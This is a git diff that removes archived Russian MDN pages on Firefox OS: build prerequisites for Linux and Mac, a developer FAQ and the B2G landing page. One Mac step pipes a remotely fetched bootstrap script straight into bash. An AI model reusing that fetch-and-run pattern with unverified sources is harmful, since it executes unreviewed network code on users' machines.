-<pre>$ sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip</pre>
-<p>Все прочие инструкции для предыдущих версий остаются в силе.</p>
-<p><strong>Fedora 17/18:</strong></p>
-<pre class="note">$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip perl-Digest-SHA</pre>
-<p>Дополнительно для компиляции проекта Вам потребуется GCC 4.4. Прекомпилированную версию можно найти <a href="http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz">здесь</a>. Скачайте её и проинсталлируйте в <code>/opt</code> следующим образом:</p>
-<pre class="note">$ wget http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz
-$ sudo tar -x -a -C /opt -f gcc-4.4.7-bin.tar.xz
-</pre>
-<p>После скачивания исходников нужно будет указать данный компилятор как дефолтный (default host compiler), см. <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler" title="en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">здесь</a> как это сделать.</p>
-<p><strong>Arch Linux:</strong></p>
-<pre class="note">$ sudo <span style=""><span style="">pacman -S --needed </span></span><span style=""><span style="">alsa-lib </span></span><span style=""><span style="">autoconf2.13</span></span><span style=""><span style=""> bison</span></span><span style=""><span style=""> ccache</span></span><span style=""><span style=""> </span></span><span style=""><span style="">curl firefox </span></span><span style=""><span style="">flex </span></span><span style=""><span style="">gcc-multilib </span></span><span style=""><span style="">git </span></span><span style=""><span style="">gperf </span></span><span style=""><span style="">libnotify </span></span><span style=""><span style="">libxt </span></span><span style=""><span style="">libx11 mesa multilib-devel </span></span><span style=""><span style="">wget wireless_tools </span></span><span style=""><span style="">yasm</span></span><span style=""><span style=""> zip </span></span><span style=""><span style="">lib32-mesa </span></span>lib32-mesa-libgl <span style=""><span style="">lib32-ncurses lib32-readline</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-zlib</span></span></pre>
-<p>По умолчанию Arch Linux использует Python3. Вам придётся заставить его использовать старый добрый python2:</p>
-<pre><span style=""><span style="">$ cd /usr/bin</span></span>
-
-<span style=""><span style="">$ sudo ln -fs python2 python</span></span></pre>
-<h2 id="Системные_требования_для_Mac_OS_X">Системные требования для Mac OS X</h2>
-<p>Для сборки Firefox OS на Mac OS X Вам нужно установить Xcode's Command Line Utilities.</p>
-<p>Можно загрузить <em>только</em> Command Line Utilities с <a href="https://developer.apple.com/downloads/" title="https://developer.apple.com/downloads/">Apple's developer downloads page</a> для Вашей версии OS X.</p>
-<p>Впрочем, если Вам нравится использовать полный пакет Xcode при разработке приложений, можете <a class="external" href="http://itunes.apple.com/us/app/xcode/id497799835?mt=12" style="line-height: 1.572;" title="http://itunes.apple.com/us/app/xcode/id497799835?mt=12">install Xcode</a><span style="line-height: 1.572;"> из Mac App Store.</span></p>
-<p><strong>Установка Command Line Utilities через XCode 4.3.1 и выше</strong></p>
-<p>Xcode 4.3.1 (OS X 10.7 "Lion") и прочие более новые версии такие, как 4.4.1+ (т.е., Mac OS X10.8 "Mountain Lion"), не обязательно включают в свою дефолтную установку Command Line Utilities. После установки Xcode не поленитесь зайти в Preferences, оттуда в Downloads и установить Command Line Utilities. Убедитесь, что у Вас есть не менее 20 GB свободного дискового пространства.</p>
-<p><img alt="Screenshot of Xcode Downloads Command Line Tools" src="/files/4557/xcode_downloads_command_line_tools.png" style="width: 750px; height: 528px;"></p>
-<div class="note">
- <strong>Примечание:</strong> Эмулятор Firefox OS требует процессора Core 2 Duo или мощнее; т.е., система должна быть совместима с Mac OS X 10.7 "Lion." И хотя Вам не обязательно запускать Lion, Вам просто нужно быть с ним совместимым. Впрочем, Вы можете собрать любой Firefox OS билд на большинстве более старых Маков.</div>
-<p><font face="Georgia, Times, Times New Roman, serif"><span style="font-size: 20px; line-height: 31px;"><b>Firefox OS Mac Bootstrap</b></span></font></p>
-<p>В терминале запустите следующую команду:</p>
-<pre class="brush: bash">curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash</pre>
-<p>Она вытянет и запустит bootstrap-скрипт, который проверит все необходимые для сборки эмулятора зависимости. Он также запросит Ваше разрешение на инсталляцию любого отсутствующего компонента. Скрипт проверяет наличие в системе следующих вещей:</p>
-<ul>
- <li><code>git</code></li>
- <li><code>gpg</code></li>
- <li><code>ccache</code></li>
- <li><code>yasm</code></li>
- <li><code>autoconf-213</code></li>
- <li><code>gcc-4.6</code></li>
- <li><code>homebrew</code></li>
-</ul>
-<div>
- <p>Xcode</p>
- <p>Если Вы уже обновили Xcode до версии 4.4+ но всё равно получаете сообщение о том, что Ваша версия Xcode слишком стара, проверьте Xcode path:</p>
- <pre>xcode-select -print-path</pre>
- Если он всё ещё указывает на <code>/Developer</code>, отредактируйте path:
- <pre>sudo xcode-select -switch /Applications/Xcode.app</pre>
- Следующее, в чём нужно убедиться, - наличие Mac OS X 10.6 SDK:
- <pre>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre>
- <p>При отсутствии SDK в указанном месте придётся вытащить и скопировать его из архива Xcode 4.3 DMG, который можно взять на портале <a class="external" href="https://developer.apple.com/downloads/index.action">Apple Developer</a>. Для извлечения 10.6 SDK из архива можно воспользоваться утилитой Pacifist. Не забудьте создать симлинк на него в директории <code>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</code>. (После фикса <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=784227" title="https://bugzilla.mozilla.org/show_bug.cgi?id=784227">bug 784227</a> этот шаг можно будет пропустить, и наша версия <a href="https://github.com/mozilla-b2g/B2G/issues/189" title="https://github.com/mozilla-b2g/B2G/issues/189">platform_build has been updated</a>.)</p>
- <h3 id="Чувствительность_к_регистру_файловой_системы_Mac">Чувствительность к регистру файловой системы Mac</h3>
- <p>По умолчанию Mac OS X поставляется с файловой системой, нечувствительной к регистру текста. Проблема в том, что в ядре Linux присутствует некоторое количество файлов с одинаковыми названиями, отличающихся только регистром букв.  См., например, заголовочные файлы <code>xt_CONNMARK.h</code> и <code>xt_connmark.h</code>.  В итоге в<code> /kernel</code> модифицируется изрядное количество файлов после <code>./config.sh</code>.</p>
- <p>Несмотря на это, в большинстве случаев сборка может пройти успешно. Однако, на некоторых платформах Вы можете столкнуться со следующей ошибкой:</p>
- <pre><span class="quote">ERROR: You have uncommited changes in kernel
-You may force overwriting these changes
-with |source build/envsetup.sh force|
-
-ERROR: Patching of kernel/ failed.</span></pre>
- <p><span class="quote">См. дальнейшие дискуссии и возможные решения данной проблемы в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867259" title="https://bugzilla.mozilla.org/show_bug.cgi?id=867259">bug 867259</a></span>.</p>
- <p>В качестве альтернативного решения всегда можно безопасно собрать и на файловой системе, чувствительной к регистру. Самый простой способ - создать отдельный монтируемый образ диска с нечувствительной к регистру файловой системой. Можно воспользоваться приложением Apple's Disk Utility из командной строки:</p>
- <pre>hdiutil create -volname 'firefoxos' -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.sparseimage</pre>
- <p>Подмонтируйте диск:</p>
- <pre>open ~/firefoxos.sparseimage</pre>
- <p>Перейдите на смонтированный диск:</p>
- <pre>cd /Volumes/firefoxos/</pre>
- <p>Теперь можно скачать исходный код и начать его компиляцию, не беспокоясь о проблеме чувствительности к регистру.</p>
- <h3 id="Mountain_Lion">Mountain Lion</h3>
- <div>
- <p>При сборке на OS X 10.8 "Mountain Lion" (Xcode 4.4.1 или выше) может вывалиться следующая ошибка:</p>
- <pre style="font-size: 14px;">external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)</pre>
- Отредактируйте файл: <code style="font-size: 14px;">B2G/external/qemu/Makefile.android</code> в строке 78:<br>
- <pre style="font-size: 14px;">MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
-</pre>
- <div>
- Также на Mountain Lion в процессе инсталляции зависимостей через homebrew может вывалиться и такая ошибка:</div>
- </div>
-</div>
-<div>
- <pre>clang: error: unable to execute command: Segmentation fault: 11</pre>
- ... в таком случае попробуйте переустановить зависимости, выставив флаг --use-gcc flag, например:
- <pre>brew install mpfr --use-gcc</pre>
-</div>
-<h3 id="Samsung_Galaxy_S2">Samsung Galaxy S2</h3>
-<p>Для сборки на Samsung Galaxy S2 нужно установить heimdall. См. {{ anch("Установка heimdall") }}. Bootstrap-скрипт этого <strong>не</strong> сделает за Вас!</p>
-<div class="note">
- <strong>Примечание:</strong> Если у Вас установлен <a class="external" href="http://www.samsung.com/us/kies/" title="http://www.samsung.com/us/kies/">Samsung Kies</a>, используемый для контент-менеджмента на многих телефонах Samsung, придётся его удалить перед инсталляцией Firefox OS на Ваше устройство. Под Windows можно использовать стандартную процедуру деинсталляции; на Mac специальная утилита для удаления содержится на инсталляционном образе диска Kies. Flashing <strong>не будет работать</strong> с установленным Kies. Если Вы забудете удалить Kies перед сборкой, система сборки это заметит и напомнит Вам о необходимости его удаления. Обратите внимание, что утилита удаления не удаляет корректно папку <code>~/Library/Application Support/.FUS</code>, и оставляет ссылку на неё в пользовательском меню. Всё это придётся удалить вручную.</div>
-<h3 class="note" id="Починка_libmpc_зависимости_(если_сломана)">Починка libmpc зависимости (если сломана)</h3>
-<p>gcc 4.6 изначально собран с libmpc 0.9; если для апдейта пакетов Вы используете homebrew, libmpc обновится до версии 1.0, но homebrew не пересоберёт gcc 4.6 после апдейта этой библиотеки. Так что придётся создать симлинк, чтобы всё снова заработало:</p>
-<pre>cd /usr/local/lib/
-ln -s libmpc.3.dylib libmpc.2.dylib</pre>
-<h3 id="По_желанию_Установка_HAX">По желанию: Установка HAX</h3>
-<p>Intel поставляет специальный драйвер, позволяющий B2G вместо эмуляции кода запускать его нативно на Mac, если Вы используете эмулятор x86. При желании можете <a class="external" href="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/" title="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/">скачать и установить</a> этот драйвер. Это не обязательно, но может повысить производительность и стабильность работы эмулятора.  </p>
-<p>Перед инсталляцией HAX нужно установить <a href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK</a>.</p>
-<h2 class="note" id="Установка_adb">Установка adb</h2>
-<p>При сборке B2G понадобятся некоторые бинарные файлы из ОС Android, установленной на телефоне (если, конечно, Вы не собираете в эмуляторе). Для того, чтобы получить эти файлы, нужен <code>adb</code>, Android Debug Bridge.</p>
-<p>Установите <a class="external" href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK starter package</a> для Вашей платформы (Вам нужен <em>ADT Bundle</em>, а не опция <em>SDK Tools Only</em>). Затем запустите менеджер пакетов, <code>$SDK_HOME/tools/android</code>, и используйте GUI для инсталляции "Android SDK Platform-tools".</p>
-<p><code>adb</code> устанавливается в <code>$SDK_HOME/platform-tools</code>. Не забудьте добавить эту директорию в <code>PATH</code> в файле <code>~/.bashrc</code> или аналогичном<code>:</code></p>
-<pre>PATH=$SDK_HOME/platform-tools:$PATH</pre>
-<p>где <code>$SDK_HOME</code> - фактическое место расположения android sdk.</p>
-<h2 class="note" id="Установка_heimdall">Установка heimdall</h2>
-<p>Heimdall - это утилита для flashing Samsung Galaxy S2. Она используется при Boot to Gecko flash utility для замещения контента телефона с Firefox OS, а также для flash updated versions of B2G and Gaia onto the device. Вам потребуется эта утилита, если Вы хотите установить Firefox OS на Galaxy S2; она <strong>не</strong> нужна для любых других устройств. Для всех прочих устройств используется утилита fastboot.</p>
-<div class="note">
- <strong>Примечание:</strong> Опять же, важно отметить, что это <strong>требуется только для установки Firefox OS на Samsung Galaxy S2</strong>.</div>
-<p>Установить heimdall можно двумя способами:</p>
-<ul>
- <li>Можно <a class="link-https" href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">скачать исходники</a> с GitHub и собрать самостоятельно.</li>
- <li>Можно установить с помощью менеджера пакетов:
- <ul>
- <li>В Linux: <code>sudo apt-get install libusb-1.0-0 libusb-1.0-0-dev</code></li>
- <li>Для Maка: <a class="link-https" href="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg" title="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg">скачать инсталлятор</a>.</li>
- </ul>
- </li>
-</ul>
-<h2 id="Конфигурирование_ccache">Конфигурирование ccache</h2>
-<p>По умолчанию размер кэша для ccache равен 1GB; сборка B2G легко первышает этот порог. Изменить размер кэша можно таким образом:</p>
-<pre><code>$ ccache --max-size 3GB</code></pre>
-<h2 id="Настройка_udev_rule_для_Вашего_телефона">Настройка udev rule для Вашего телефона</h2>
-<p>Чтобы узнать USB vendor ID, запустите <code>lsusb</code>, но, как правило, это <code>18d1</code> для Google, <code>04e8</code> для Samsung, <code>19d2</code> для ZTE, <code>05c6</code> для Qualcomm, таким образом, все вопросы в данном случае решаются добавлением такой строки в <code>/etc/udev/rules.d/android.rules</code> (создайте этот файл, если его еще нет, заменив <code>XXXX</code> нужным ID):</p>
-<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"</pre>
-<p>Например, для ZTE содержимое android.rules будет следубщим:</p>
-<pre style="font-size: 14px;">SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", MODE="0666", GROUP="plugdev"</pre>
-<p><span style="line-height: 1.572;">Закончив редактирование файла и сохранив изменения, выставьте ему права на чтение:</span></p>
-<pre>$ sudo chmod a+r /etc/udev/rules.d/android.rules
-</pre>
-<p>Теперь можно проверить, выведется ли список устройств командой adb:</p>
-<pre style="font-size: 14px;">$ adb devices
-List of devices attached
-123456 device</pre>
-<p>Если устройство не обнаружено, убедитесь, что имя файла и скрипта корректны, после чего перезагрузите компьютер и снова введите команду adb. Имейте в виду, что, если Вы используете fastboot, загрузчик может идентифицироваться с другим vendor ID, нежели используется при нормальной загрузке устройства.</p>
-<h2 id="Переведите_телефон_в_developer_mode">Переведите телефон в developer mode</h2>
-<p>Прежде, чем подключить телефон к USB порту, переведите его в  USB developer mode. Это позволит отлаживаться на телефоне и flash the phone. Для перевода в этот режим: Settings app -&gt; <code>Device information</code> -&gt; <code>Mode Information</code> -&gt; <code>Developer</code> -&gt; (enable) <code>Developer mode</code></p>
-<h2 id="Архивация_системного_раздела_телефона">Архивация системного раздела телефона</h2>
-<p>Рекомендуеься предварительно сделать архивную копию всего системного раздела с Android. В таком случае позже Вы всегда сможете вернуться к старой операционной системе после удаления B2G. Для архивации запустите:</p>
-<pre>adb pull /system &lt;backup target dir&gt;/system
-</pre>
-<p>В зависимости от модели телефона, может также потребоваться:</p>
-<pre>adb pull /data &lt;backup target dir&gt;/data
-adb pull /vendor &lt;backup target dir&gt;/vendor
-</pre>
-<p>Если цказанная команда вывалит ошибку "insufficient permission", попробуйте следующее:</p>
-<ul>
- <li>остановите и перезапустите adb сервер, если же это не удастся,</li>
- <li>перепроверьте, что у 'adb' tool выставлены права <em>root</em> в пределах Вашего кастомного ROM (т.е. в CyanogenMod, поменяйте 'Settings &gt; System &gt; Developer Options &gt; Root Access' на 'Apps и ADB' либо 'ADB only').</li>
- <li>Убедитесь в правильной конфигурации udev rule (см. {{ anch("Настройка udev rule для Вашего телефона") }}.</li>
-</ul>
-<h2 id="Что_дальше">Что дальше?</h2>
-<p>А вот теперь можно <a href="/en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">получить код Firefox OS</a>!</p>
diff --git a/files/ru/archive/b2g_os/firefox_os_faq/index.html b/files/ru/archive/b2g_os/firefox_os_faq/index.html
deleted file mode 100644
index 7310f9bdaf..0000000000
--- a/files/ru/archive/b2g_os/firefox_os_faq/index.html
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: Firefox OS FAQ
-slug: Archive/B2G_OS/Firefox_OS_FAQ
-translation_of: Archive/B2G_OS/Introduction
----
-<dl>
- <dt>
- Как я могу получить developer preview телефон?</dt>
- <dd>
- Они скоро будут доступны на сайте <a href="http://www.geeksphone.com/">Geeksphone</a>.</dd>
- <dt>
- Если я не желаю покупать телефон, могу ли я разрабатывать приложение для ОС Firefox?</dt>
- <dd>
- Конечно! Вы можете тестировать ваше приложение на Андроиде  (используя <a href="https://hacks.mozilla.org/2012/10/firefox-marketplace-aurora/">Marketplace for Firefox</a>) или на своем компьютере, используя <a href="https://hacks.mozilla.org/2012/12/firefox-os-simulator-1-0-is-here/">симулятор ОС </a><a href="https://hacks.mozilla.org/2012/12/firefox-os-simulator-1-0-is-here/">Firefox</a>.</dd>
- <dt>
- Как это сопоставимо с финальной версией телефона?</dt>
- <dd>
- Мы работаем с несколькими партнерами в направлении вывода телефона на потребительских рынок. О наших устройствах мы будем говорить чуть позднее.</dd>
- <dt>
- Где я могу скачать ОС Firefox для пробы на своем собственном телефоне?</dt>
- <dd>
- <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS</a></dd>
- <dt>
- Каким образом я могу протестировать мое приложение на ОС Firefox?</dt>
- <dd>
- На Андроиде или с помощью симулятора ОС Firefox OS.</dd>
- <dt>
- Что представляет собой ОС Firefox?</dt>
- <dd>
- A. Это новая мобильная операционная система, созданная с использованием исключительно открытых веб-стандартов. В ней все функции современных мобильных устройств (звонки, переписка, браузер и т.д.) представляют собой приложения, написанные на языке HTML5, которые могут получить доступ к основным возможностям телефона (которые доступны только для собственных приложений в других программных экосистемах).</dd>
- <dt>
- Каков полный список Web API? Вы будете потом все это стандартизировать?</dt>
- <dd>
- Огромное количество Web APIs будет поддерживаться в первоначальной реализации ОС Firefox. Полный список можете найти на <a href="https://wiki.mozilla.org/WebAPI#APIs">https://wiki.mozilla.org/WebAPI#APIs</a>. <a href="https://hacks.mozilla.org/2012/01/mozilla-joins-the-w3c-dap-webapi-progress/">Стандартизация продолжается</a>.</dd>
- <dt>
- Ваши Web APIs стандартизированы для кросс-платформенного использования?</dt>
- <dd>
- Да,  API являются результатом работы с несколькими партнерами и производителями, и некоторые из них уже окончены на других платформах. Предоставление веб-приложениям доступа к аппаратной части устройств наших конечных пользователей является проблемой практически каждой технологической компании, которая с этим сталкивается, и наши предложения являются хорошей отправной точкой для того, чтобы это происходило на большом количестве платформ.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/index.html b/files/ru/archive/b2g_os/index.html
deleted file mode 100644
index 55d407f572..0000000000
--- a/files/ru/archive/b2g_os/index.html
+++ /dev/null
@@ -1,225 +0,0 @@
----
-title: B2G OS
-slug: Archive/B2G_OS
-tags:
- - Firefox OS
- - Gaia
- - Начальная FirefoxOS
-translation_of: Archive/B2G_OS
----
-<div class="summary">
-<p><span class="seoSummary">Firefox OS — мобильная операционная система, разработанная компанией Mozilla, основанная на ядре Linux и мощном движке рендеринга Firefox's Gecko.</span></p>
-</div>
-
-<div class="column-container zone-callout">
-<p><strong>Firefox OS</strong> — это программное обеспечение с открытым исходным кодом, позволяющее разработчикам создавать сложные приложения для конечных пользователей используя всю мощь и гибкость Web-технологий. <strong>Весь интерфейс это веб-приложение,</strong> способное запускать и отображать другие приложения. Приложения для Firefox OS создаются с использованием HTML, CSS и JavaScript, при этом они имеют доступ к оборудованию и сервисам устройства через интерфейс программирования приложений (API).</p>
-
-<p>С точки зрения развития продукта, Firefox OS — это сервис поддержки и продвижения Mozilla (и наших OEM-партнёров), основанный на операционной системе с кодовым именем <strong>Boot to Gecko</strong> (<strong>B2G</strong>). Boot to Gecko разработана командой инженеров Mozilla и многочисленными независимыми разработчиками обширного сообщества открытого кода Mozilla.</p>
-</div>
-
-<section class="outer-apps-box" id="sect1">
-<h2 id="Создание_приложений_для_Firefox_OS"><a href="/ru/Apps/Build/installable_apps_for_Firefox_OS">Создание приложений для Firefox OS</a></h2>
-
-<p>Посетите наш Центр приложений для получения подробной информации о способах создания открытых веб-приложений, которые можно установить в Firefox OS!</p>
-</section>
-
-<div class="column-container">
-<div class="column-third">
-<h2 class="Documentation" id="Documentation" name="Documentation"><a href="/ru/docs/Mozilla/Firefox_OS/Platform">Руководства</a></h2>
-
-<p>Руководства для разработчиков, описывающие как соединить различные компоненты Firefox OS в одно целое.</p>
-
-<ul>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/ru/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Gonk" title="/ru/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></li>
- <li><a href="/ru/docs/Mozilla/Gecko" title="/ru/docs/Mozilla/Gecko">Gecko</a></li>
-</ul>
-</div>
-
-<div class="column-third">
-<h2 id="Сборка_и_установка"><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS">Сборка и установка</a></h2>
-
-<p>Руководство по сборке и установке Firefox OS на эмулятор, совместимые устройства или десктопный симулятор.</p>
-
-<ul>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Перед сборкой Firefox OS </a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">Подготовка к первой сборке</a></li>
- <li><a href="/ru/Firefox_OS/Создание" title="Mozilla/Firefox_OS/Building">Сборка Firefox OS</a></li>
-</ul>
-</div>
-
-<div class="column-third">
-<h2 id="Смартфоны_для_разработчиков"><a href="/ru/docs/Mozilla/Firefox_OS/Developer_phone_guide">Смартфоны для разработчиков</a></h2>
-
-<p>Информация о конкретных смартфонах для разработчиков: настройка, обновление, восстановление и покупка.</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/ru/Firefox_OS/Developer_phone_guide/Flame">Flame</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE Open</a></li>
- <li><a href="https://developer.mozilla.org/ru/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE Open C</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Troubleshooting">Решение проблем</a></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/Phone_specs">Спецификации</a></li>
-</ul>
-</div>
-</div>
-
-<div class="column-container equalColumnHeights">
-<div class="zone-callout">
-<h2 id="Книги_по_Firefox_OS">Книги по Firefox OS</h2>
-
-<p>Есть и создаётся несколько книг о разных аспектах разработки для Firefox OS development. Подробности — на сайте <a href="http://firefoxosbooks.org/">Firefox OS Books</a>.</p>
-</div>
-
-<div class="zone-callout">
-<h2 id="Другие_полезные_страницы">Другие полезные страницы</h2>
-
-<ul>
- <li><a href="https://www.mozilla.org/ru/styleguide/products/firefox-os/"><span class="gmw_"><span class="gm-spell gm_ gm_d869ea80-e62d-d8a6-6929-a6e9983578ff">Руководство по оформлению</span> Firefox OS</span></a></li>
- <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">FAQ на Mozilla wiki</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/ru/docs/Mozilla/Firefox_OS/Feature_support_chart">Таблица поддержки возможностей</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Geeksphone_FAQ" title="/ru/docs/Mozilla/Firefox_OS/Geeksphone_FAQ">Geeksphone FAQ</a></li>
-</ul>
-</div>
-</div>
-
-<div class="note">
-<p><strong>Примечание:</strong> Мы отслеживаем процесс работы над документацией Firefox OS на нашей странице <a href="/ru/docs/MDN/Doc_status/Firefox_OS">состояния документации Firefox OS</a>. Если вы хотите помочь в подготовке документации к Firefox OS, пожалуйста посетите страницу, чтобы увидеть, что нуждается во внимании!</p>
-</div>
-
-<h2 id="Навигация">Навигация</h2>
-
-<ol>
- <li><a href="/ru/docs/Mozilla/Boot_to_Gecko/Introduction">Введение в ОС Firefox</a></li>
- <li><a href="/ru/Firefox_OS/Platform" title="Documentation about the Firefox OS platform, including Gonk, Gaia, and everything in between.">Platform guide</a>
- <ol>
- <li><strong><a href="/ru/Firefox_OS/Platform">Platform guide overview</a></strong></li>
- <li><a href="/ru/Firefox_OS/Platform/Architecture" title="An overview of how Firefox OS is structured internally; this is primarily of interest to platform developers and people doing porting work.">Architecture overview</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Apps_architecture" title="An overview of the application model on Firefox OS.">Apps architecture</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Gonk" title="Documentation about Gonk, the operating system layer underneath Gaia. This consists of a Linux kernel and a hardware abstraction layer to which Gecko communicates."><span class="gm-spell gm_ gm_db111eae-c215-78a2-9789-97be921cbbdc">Gonk</span></a></li>
- <li><a href="/ru/Gecko" title="Gecko is the layer of Firefox OS that provides the same open web standards implementation used by Firefox and Thunderbird, as well as many other applications.">Gecko</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Gaia" title="Documentation about Gaia, the user interface application for Firefox OS devices; this is a Web application running atop the Firefox OS software stack.">Gaia</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps guide</a></li>
- <li><a href="/ru/Firefox_OS/Security" title="Documentation about security in Firefox OS">Security</a>
- <ol>
- <li><a href="/ru/Firefox_OS/Security/Security_model">The Firefox OS security model</a></li>
- <li><a href="/ru/Firefox_OS/Security/System_security">System security</a></li>
- <li><a href="/ru/Firefox_OS/Security/Application_security">Application security in Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Security/Installing_and_updating_applications">Securely installing and updating applications</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/Platform/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS </a></li>
- <li><a href="/ru/Firefox_OS/Platform/Feature_support_chart" title="A chart of which features are available in which types of Firefox OS builds.">Feature support chart</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Settings_list" title="A list of common setting names that can be used with the settings API">Settings list</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS" title="This includes documentation for building and installing the platform onto devices, as well as building the simulator and emulators.">Build and install</a>
- <ol>
- <li><strong><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS">Build and install overview</a></strong></li>
- <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_process_summary">Firefox OS build process summary</a></li>
- <li><a href="/ru/Firefox_OS/Firefox_OS_build_prerequisites" title="Steps to take before you build Firefox OS for the first time.">Build prerequisites</a></li>
- <li><a href="/ru/Firefox_OS/Preparing_for_your_first_B2G_build" title="Before you can build Firefox OS, you need to clone the repository and configure your build.">Preparing for your first build</a></li>
- <li><a href="/ru/Firefox_OS/Building" title="How to build Firefox OS.">Building Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/Building_Firefox_OS_for_flame_on_OSX">Building Firefox OS for flame on OSX</a></li>
- <li><a href="/ru/Firefox_OS/Choosing_how_to_run_Gaia_or_B2G" title="Using Gaia within Firefox, running Firefox OS on a mobile device, or in a desktop-based simulator. Which is best?">Choosing how to run Gaia or Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Building_the_Firefox_OS_simulator" title="Simulating the Gaia environment in a desktop application - more accurate than running Gaia in Firefox but not as accurate as the emulators.">Building the Firefox OS simulator</a></li>
- <li><a href="/ru/Firefox_OS/Using_the_B2G_emulators" title="A guide to building and using the Firefox OS emulators, and when to use which emulator.">Using the Firefox OS emulators</a></li>
- <li><a href="/ru/Firefox_OS/Installing_on_a_mobile_device" title="How to install Firefox OS on a real mobile device.">Installing Firefox OS on a mobile device</a></li>
- <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/Firefox_OS_update_packages">Creating and applying Firefox OS update packages</a></li>
- <li><a href="/ru/Firefox_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
- <li><a href="/ru/Firefox_OS/Building_and_installing_Firefox_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
- <li><a href="/ru/Firefox_OS/Runtime_tools">Runtime tools</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/Developing_Firefox_OS" title="Hack the OS, customize your builds, get things the way you think they should be!">Developing Firefox OS</a>
- <ol>
- <li><strong><a href="/ru/Firefox_OS/Developing_Firefox_OS">Developing Firefox OS overview</a></strong></li>
- <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Filing bugs against Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/modifying_hosts_file" title="A guide to what can be achieved by modifying the Firefox OS hosts file.">Modifying the hosts file</a></li>
